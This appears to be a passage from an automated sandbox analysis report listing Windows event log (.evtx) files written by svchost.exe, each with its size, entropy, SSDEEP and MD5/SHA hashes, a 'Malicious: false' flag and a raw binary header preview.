Preview:	ElfChnk.9.......a.......9.......a...........Xw...y....5......................................................................K..................`...........................=...........................................................................................................................f...............?...........................m...................M...F.......................G0........................... ..."..............7........)..................................9............'......&...........**..h...9........!b.6.........F..&.......F...0.V%.d..wr........A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-ReadyBoost%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7589270703948895
Encrypted:	false
SSDEEP:	384:fhP8o8Z85848V8M8g8D8R8E8y8eE8U8+8G8:fy
MD5:	DB0D7D192D45E88155DA386A4CFAA7BC
SHA1:	0CA51DB6F3145F47A7DEE55DD59804DDC20788FF
SHA-256:	4D675E0BB5F2F8FB820C9A7E60290AA18EB63DB48D85C343D67B7D1036CAF535
SHA-512:	77BF88FE30C9A2E76B610094998F26BB168BAC41DA2A70C4BCB9C7A7A67B2821C6E7F2D57535CBB47EBC07A89F69BA997028F30ED43D507CB0E9C268BDC74789
Malicious:	false
Preview:	ElfChnk.........................................8!....RE.....................................................................J>.........................................V...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...........................................................................v...........**..(.............................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.767702433173047
Encrypted:	false
SSDEEP:	1536:mXhJUyS+z1VV18o838c8bUc8cVVsz8VX8SoX8aA8cmtpjAiVB18dwE4vjcYoMjn1:mXrnS
MD5:	FC61A6086D55D8FFBB4AFEBAEADBE6DF
SHA1:	99D724432ACE2264C912861B11A359A329AE0510
SHA-256:	F303789F5D286B4601E578EEF36186A423653DEF71E1E6410C732D7A126FE5A4
SHA-512:	EBD922324FE6FD8F8159422F10BB6F70A3289DA380208C36A402BD1F18D771F5F465E71898DC3DD741590A58B0DEE609957E5809EE8FE1CB82B03E5B3443FCBB
Malicious:	false
Preview:	ElfChnk.........(...............(............J..pL...4......................................................................[.m.................v...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............................................................O............9..........**..............g5...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SMBServer%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.3821645601708283
Encrypted:	false
SSDEEP:	768:U0VsLY/Z5aFka2aKazzabCafama5Sa0ra6rzaJcavkao9O4aui1J6eJOQJMBJX:4cE
MD5:	CBF5E5B9F2994F33BE03BF0A826A629E
SHA1:	BFF85BF98CE5D092C06B3A7D366A077B5736E934
SHA-256:	B6B321D43FBF2CEE1D19A0EB4E3AA5134660D844E2DED9871E98A58DE11461E3
SHA-512:	7FFD68E0DE84CFD8CF091526E624209FF41644A2EBBEF4BED8584F11F4EC333BC5BA880257417930C6DAB318094D59479BB160949CAAC0FC985A3EE946071D73
Malicious:	false
Preview:	ElfChnk.........>...............>...........0v..`x....p.......................................................................+#................Q...........................=...........................................................a...............................................................f...............?...2...........................................M...F......................................&....]..................................................................................]...................*.............._.............X..&.......X...],T.'tB..E........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	82184
Entropy (8bit):	4.099356787060528
Encrypted:	false
SSDEEP:	768:ZUbGDA5eVLpBVi7CPDRmf5dX6CFLxVUbGDA5eoY:VtBVi0Y
MD5:	8918E8D453A612DEDD6754EED5E48B58
SHA1:	5AC9DDCB5AC277ED720E3BA81E0B46AD305C9047
SHA-256:	04693211287A6E30D60BD9A75F82F1BC8D8F5F5670022B02F99E251620A02F25
SHA-512:	B0F9CD6268474119E14C26E6FFBADD2CE96236B18F926436569F6FF3DB3896B3B1954FC967FACECFAFBEE8D4BE266CE5AEC4C88D8BC528ECB7CE219925D475D6
Malicious:	false
Preview:	ElfChnk.'.......-.......'.......-............1...8...a......................................................................N.Pl................X...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................1...........................................................................................&...........**......'........&.E..........F..&.......F...0.V%.d..wr........A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SettingSync%4Debug.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.315070457008112
Encrypted:	false
SSDEEP:	384:NYU/hDGCyCkCzCRCFCZC4MCyCcC7CgzCiCoCD24F2a2EO2M2w2s023C8CJCpCFIz:NYU/dEoNTC
MD5:	C7807651248E908ECCF27697EBB71AF0
SHA1:	4FE175151F778EF674F74D25145CCCF62C52F2C8
SHA-256:	A9D4FFC731E3D8287A25FFE350D5142FE1E9CD5D377F0BD7D29BB827C2F12658
SHA-512:	5A8FA490F7BFC98FD39635AA30A0E92AA3C9FFC279424C7D23E9F2893CF7B0FC91BF1F3DAFD14CA006B437AB6E18FAA67FBF7AF96E5347FE27042B262235214D
Malicious:	false
Preview:	ElfChnk.U...............U...........................$....................................................................O...................F.......................n...=...........................................................................................................................f...............?...........................m...................M...F............................4..............................&................................................................n...........N..........**..0...U.........Df..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Shell-Core%4AppDefaults.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.482742417101403
Encrypted:	false
SSDEEP:	1536:bcPLvjwmE+ukWvw75NFyBo/QbG7YX1cchg52p5cfFSYl8ZAgRrfhXWmSY0NGQ6my:bcPLvjwmE+ukWvw75NFyBo/Qq7YX1cct
MD5:	B1F20410E64B0CD42CE4FCBF7AFC9018
SHA1:	4EE19EB81E1C99FDC1C7BA4E87F091AB124FE250
SHA-256:	7AE6BA887BEF8232508D1660717AA893FE68C75D3E4B2D48668AC1E4CD3C0461
SHA-512:	31EDD8B6257AE2C232572765C7ED08A4BA016499A3B0340D55AF1796AD633D17533C0288E07F9B5E74D19A5CF842A63468AE54F61A49F680722E95A48983DE01
Malicious:	false
Preview:	ElfChnk.....................................8i...j.............................................................................5................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&............................................................................I..........**..............XH^...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Shell-Core%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.468247314352683
Encrypted:	false
SSDEEP:	1536:axp4HTQMhzEB1PBM+4MFGhLF/EBRyqXiUHeISNpdxzaEOWqS6vPzaS8g8jhxVo8Z:axp4HTQMhzEB1PBM+4MFGh5/EBRyqXi5
MD5:	9ED937A12E6D4085FF215C79428BEA18
SHA1:	99B55FC015C0506DB9833496B3F23C3B3FF1B74E
SHA-256:	80158C527355458014138964012A1994AACA3DF918095BD8686E78CE8F0EE2A6
SHA-512:	5695049181E1804521C27393E5FC37AC0452B2B8AA8CEF77D5497441852CCD5D4E953E31AFC706DDBCAD8DEC3EF7BC7133B7C7539B6C43A2D1A06BA337D7DE35
Malicious:	false
Preview:	ElfChnk.+.......Z.......+.......Z............[..0]....k......................................................................W..................2.......................Z...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................yM......Q7...........P..!5...0..........&...Y9......**......+.......P;............F..&.......F...0.V%.d..wr........A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-ShellCommon-StartLayoutPopulation%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.512081865341501
Encrypted:	false
SSDEEP:	384:Arhl787V7s7y7s7M787/7m7C7p74797kc7h7s7b7Y717c7v7b7v7vV7p73a7k7Z+:Ut/8Hh
MD5:	50465D28597F69AA4BA1836894D19750
SHA1:	CC55004E17EAAF1672D0BDAE3A746C40F6AF7593
SHA-256:	376CBE44BE97D96C93CAB0B83E5480DF2D3EA3CE0169E199BBAC9D7650F4AB93
SHA-512:	725A9F34A7A98390A365F75B2701E31331C2F3CDD1CF62BABB20C3F5655DC0798469B353E7839E8159DBBE733B58A76DA3ABDAC6E7EE4A4D672CB934AC296F49
Malicious:	false
Preview:	ElfChnk......................................n...o..-o......................................................................../V............................................=...........................................................................................................................f...............?...........................m...................M...F...........................-(..............E!..s...........&...............................................................-&..........f@..........**..@.............................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SmbClient%4Connectivity.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.2719028651564623
Encrypted:	false
SSDEEP:	384:/hc+uaNuru+uhuKVuPJu5u9u4ufuTuxuDuvuDuOuXumui+udutui4uTAuFuauing:/6Ovc0S5UyEeDgLLyfrlB8Q54GJY
MD5:	104AF6C87B1FA1C965BB2D3CF70EDC8F
SHA1:	91B208CE7ACC6EDAD1ADC8C5ECBB90000E00CEA2
SHA-256:	6DB30804B563EE808F78EEC69D3A85FF7F3F0FE551306B5924530C2C0EC2738C
SHA-512:	90A83431708CD8FBDC9FAD6AF191EDF3E264D8DEB457ABBCCA8941E15DE0DD4E4C2FB2D89B281C2FA11CA5D627010C96EBE3C43B6338DCA27E7701A883F8C295
Malicious:	false
Preview:	ElfChnk.........@...............@........... s...t..?h......................................................................._R;................,.......................T...=...........................................................................................................................f...............?...........................m...................M...F...........................&.......................................................................................w...................._..........**...............&3..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SmbClient%4Security.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8167930057519079
Encrypted:	false
SSDEEP:	384:bhGuZumutu4uEu5uOuDuyb2uPu1uyuKtuLujuVgqu:bb+
MD5:	EBB9255F7BBA5C52CE625D69FE52F60A
SHA1:	20F226B11EF3A69F56A13A5BF7530E199BFDE310
SHA-256:	5AB28568919B051FA95E534049B8BA9E606EEF6EAB53EB0ADB71545C0ED2A380
SHA-512:	D8788F58A8DE7C9BD6F7075DC65606508D14C8AD8AC75E8992174A4D35328E70635AEC36531DA5E81A8DABD931092576C60C5B831C73670D856A40BD2427CB8E
Malicious:	false
Preview:	ElfChnk......................................"..x$...k.3....................................................................$.#.................$.......................L...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...........................................................................>...........**..............Wy.8..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-StateRepository%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.235001208884112
Encrypted:	false
SSDEEP:	384:iGhRAEA/sA/8A/gA/lA/KA/EA/DA/ZA/oA/nA//A/PAzyEAuA8AjCbALuAMAKAtZ:J0hVi+KLN61G
MD5:	50EF6DB57587CF27291B2DED1AD3C542
SHA1:	ECF5C56F998FCA95BE4BA119DC5E241C693DB891
SHA-256:	14AD1DF267604F097745CC1A5C2DC6EDFEABF7E89A69A194B5433363A847F530
SHA-512:	E774A896DA5119D270D59E02DF113CF3E2FC774A24A0A7BDDB39E5D5D614B1F905BAA81FF59790811CAF51B4B92854A06C042D869EA2C52AB19E955E9BB00E4F
Malicious:	false
Preview:	ElfChnk.........!...............!...........x.......<......................................................................t..................6.......................^...=...........................................................................................................................f...............?...........................m...................M...F....................................................{...........................................f......................................&....j......**...............>............F..&.......F...0.V%.d..wr........A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Storage-Storport%4Health.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.1601920702980912
Encrypted:	false
SSDEEP:	384:NhwpsWp90Np9b5p9ihp95lp949p9/pp9Wpp9tlp98Jp9jdp9qBp9BJp9A1Z1p9nP:NRZfQI5
MD5:	1A84D5BFFC6A51A8E813CA9870D46851
SHA1:	62201D49F347A7BEEA7D58DCB45D173ADBD53887
SHA-256:	CBF067DCF2548398B87EB882B7A1F26EC7989DBB4D105C4495020D63E9B5E0D8
SHA-512:	8B3198C3534387FEF8B8120ED0111F6EA02BD21FC3E8C4E74C4936BE18581C80BEF58EB512E111FF0143361E488F1F7C7D3151664E0F4FD996169C894162B24C
Malicious:	false
Preview:	ElfChnk.........'...............'..................._.z.......................................................................j.........................................<...=...........................................................................................................................f...............?...........................m...................M...F.......................................................................................................................................&...........**............................F..&.......F...0.V%.d..wr........A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Storage-Storport%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.0114620219781365
Encrypted:	false
SSDEEP:	384:jhtbpwV1pIvpLfpvQpw2pQYph15pcApLqBpJxTp0qo8psfp4yp4Rphe3p7PpLWBo:jwDoh1VvpE0Y5RA8sQ
MD5:	70F943A767EE17A83B03D620404602D6
SHA1:	26A2A2C8690D3F47D6192DDC29079CA4DE7507A6
SHA-256:	AAE4D860D5B31157D69935C9A68A8958EF96D9EBB7AB346B8F750E7FD339FBE5
SHA-512:	88CAB5E94A82F49036C5DC4A3C3DE94BADB9A2244C4A32DAE6A23DFD751553B0FF9953C21B02CA0396D5DBF529C75B57D1A65D9EA86CE86D8D081E63E464D521
Malicious:	false
Preview:	ElfChnk.\...............\.............................G......................................................................\O.......................................R...=...........................................................................................................................f...............?...........................m...................M...F............................................;..............&...................................i...................................mS..^...........*..8...\........=..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-StorageSpaces-Driver%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.165801171629505
Encrypted:	false
SSDEEP:	384:thwCCRzCaCkClCzCYC/CyCVCGCMCvCtlCaf2Ca9CaECaAzCaFECa:tKFD
MD5:	9236B0363C2E488481D99C2A3B97F664
SHA1:	7DF4CAC91226C2E2E36DB78D931D4D8386177406
SHA-256:	968CA40848BDBDDB24126CF3BA1EFE51973835B62A841A13ABBC3F3F76E2AAEC
SHA-512:	7ADE9B5AE3499BB97FBBCAD1F38F530E9592F4CB4AC3472553A340E0D172704CDD3EA2DE39914F5A2ACB87934037EFDE369AF960256269AC221B5AD9724BE31C
Malicious:	false
Preview:	ElfChnk.....................................04..h6...j........................................................................o................V.......................~...=...........................................................................................................................f...............?...........................m...................M...F...........................&...........................................................................................................v)....../...**..p............................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Store%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	109032
Entropy (8bit):	4.4772585425341225
Encrypted:	false
SSDEEP:	384:cDhWFK4KUK9KDKkKZKRKkKGxKTKMKxK2KqMqYvMaDMzMBYxMBYYK1KzKRKAKmKE5:cDAL1FX3eaMDAL1Fl
MD5:	B6D62377EAD3AFB2E9DAE89DAE289F72
SHA1:	51D6D84B1846B8C976DEC4496322100F0C705C07
SHA-256:	5B06E81D9C750B7DF9D3AD5ACA700438D970DE9D882B75230B37D02BB5863DB1
SHA-512:	A2A39400AB7B6409F428B6C28255E7D9178C88CC5376E2B4C672550855314F581A22C625B7C20E41C3F0770842A724B62BC6C706E2FB39871BDACC8F332097C4
Malicious:	false
Preview:	ElfChnk..&.......&.......&.......&..........0........j.......................................................................!.................4.......................\...=...........................................................................................................................f...............?...........................m...................M...F.......................S....................................3..................................-0..................#...................&...........**..H....&......uwW...........F..&.......F...0.V%.d..wr........A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Storsvc%4Diagnostic.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1810965962810462
Encrypted:	false
SSDEEP:	384:vhL6UsE0ZUmxUmgDUmSUmKUmgUmlUmB8UmCUmeUm7UmLcUmWUmnUm:vY7LU
MD5:	9D9C182984FF3C8DAFD9D7D27F9461F0
SHA1:	72E2D06B61F085737906AD835D09009CFD047203
SHA-256:	C3D5C4AD8C13B39C1EC967B6A9DFCA4ACC94E48C00D1BFAA3BCC5D7B6B134EC2
SHA-512:	2906BF522ABB70A1E2F3F3DE63C732CCAC103B7F8D54CECF22730ED08A64BA1F6243CBC95EE1F1568ED45B7E608B60303B31B7A67EFDF52778CD239FF41F58E9
Malicious:	false
Preview:	ElfChnk......................................1..(4.............................................................................................. .......................H...=...........................................................................................................................f...............?...........................m...................M...F...........................&......................................................................................................................*..............a...............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-TZUtil%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.20420872809676538
Encrypted:	false
SSDEEP:	48:MeVWd8ycrP+8QNRBEZWTENO4brBT3oy/6y:J2NVaO8Joy/6y
MD5:	663BDDB3C4AB17C683DEB9F1CB376E35
SHA1:	85A47FCC12318330D404128C559F256D271BE661
SHA-256:	4EBCBE28F5FFD9240FDC2DED6105A51E2A2ECB1F91BF30D1D269B27D0C87CBE5
SHA-512:	00D9BBE754427A57E14B6779FCA2ACB266DD2A59442E37426F43F2FF7490DCCB3E32AA432C5ECB8DCD4AFDF4E3A8CE04E25D6E76DC061E935218C618DC81C145
Malicious:	false
Preview:	ElfChnk..............................................)&........................................................................................".......................J...=...........................................................................................................................f...............?...........................m...................M...F.......................................................................................................................................&...........**................x..........F..&.......F...0.V%.d..wr........A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.07967961973305
Encrypted:	false
SSDEEP:	384:VhIivhiuiMidiyiMi3iEiziXviiqYiMciEiri9iuiLsRi11iWiRmiNiHibifiGiS:VjZvaQKtM9QSp
MD5:	C0228093C6D68E6BF2A2919C4757E19E
SHA1:	4C30BEAA7AB56231126956EC83C6B9159B7C7809
SHA-256:	214406B4B4C04186B2955537F29AC633824792BABF9EE5051B0857CCF9AE2763
SHA-512:	B0E558BEF4B6A43636B87FDAA598BF8329E15920503ED2460B4D0B251BBB29B9CFAC37D35AC5DB0890A65F80A1F6F6AD85A0613CA36E550E70FE1A4354B2CE9F
Malicious:	false
Preview:	ElfChnk.y...............y....................g...i..4........................................................................L..................#..a.......................=.......................#...................................................................................................f...............?................'......P.......................M...F............................................#..............................................................................w#.......'...0..........**......y.......>}.T............g.&.........g....R....uJ.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.32765835679697
Encrypted:	false
SSDEEP:	768:ZZaQL9aHavaLanajaPaTaCaRaEa0aWaKaEaValapaqamaEaFataXaZaVaNada5al:PL
MD5:	AEA57E77876E4A7F0E2C5C4BCAFC69B1
SHA1:	E930CDBD8B51DAD1B184C23FAF8A01091C1973D7
SHA-256:	68BD78CF380327C273E131FA4545E9B9C867555330C2FC364D934A0148FFC7B8
SHA-512:	A96B44DB0804046D3128C1F44374AA5E718780C1B9DB284CBA79FA67C678673A97A374856F21524B855BD1830FDDE769DDA5799E86C6281D459CD7CAF8ADD74D
Malicious:	false
